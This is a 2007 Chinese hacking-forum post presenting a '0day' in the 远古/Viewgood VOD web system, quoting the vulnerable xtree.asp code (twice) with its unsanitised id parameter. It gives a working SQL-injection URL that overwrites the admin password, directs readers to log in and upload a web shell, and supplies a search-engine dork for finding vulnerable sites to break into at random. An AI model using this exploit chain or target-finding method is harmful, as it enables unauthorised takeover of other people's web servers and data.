您现在的位置： |
玩了有段时间了 嘎嘎。。。。 |
|
四月份发现的，现在仍出来。 玩了有段时间了 嘎嘎。。。。 漏洞文件webmedia/common/function/xtree.asp 〈!--#include file="../dbcon.inc.asp" --> 〈% iNode_ID = Request.QueryString("id") if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>=20 AND ParentID=" & iNode_ID else szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>20 AND ParentID=" & iNode_ID end if rsData.Open szSQL,con,1,3 szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>" do while not rsData.EOF szRetVar = szRetVar & "<TypeInfo>" szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>" szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>" szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>" szRetVar = szRetVar & "</TypeInfo>" rsData.MoveNext loop szRetVar = szRetVar & "</Root>" rsData.Close Response.CharSet = "GB2312" Response.C Response.Expires = -1 Response.Write szRetVar %> 〈!--#include file="../dbend.inc.asp" --> 〈!--#include file="../dbcon.inc.asp" --> 〈% iNode_ID = Request.QueryString("id") if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>=20 AND ParentID=" & iNode_ID else szSQL = "Select Type_ID,ParentID,TypeName FROM TypeInfo Where Type_ID>20 AND ParentID=" & iNode_ID end if rsData.Open szSQL,con,1,3 szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>" do while not rsData.EOF szRetVar = szRetVar & "<TypeInfo>" szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>" szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>" szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>" szRetVar = szRetVar & "</TypeInfo>" rsData.MoveNext loop szRetVar = szRetVar & "</Root>" rsData.Close Response.CharSet = "GB2312" Response.C Response.Expires = -1 Response.Write szRetVar %> 〈!--#include file="../dbend.inc.asp" --> 很容易看出以上存在着DB权限注入 注射地址  http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1 表段名：customer 构造函数 把admin的pass改成fuck http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1;update%20customer%20set%20UserPass='633f94d350db34d5'%20where%20UserName='admin' 登陆后台 直接上传大马 完事！ 测试方法：在google baidu搜: inurL:webmedia/ 随便找个站都可以入侵 官方地址 http://www.viewgood.com/ |
远古VOD(0day)
作者：未知 文章来源：本站原创 点击数： 更新时间：2007-9-24 8:17:51 
免责声明：作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述，仅为提供更多信息。如果您认为我们侵犯了您的版权，请告知！本站立即删除。有异议请联系我们。
文章录入：admin 责任编辑：admin
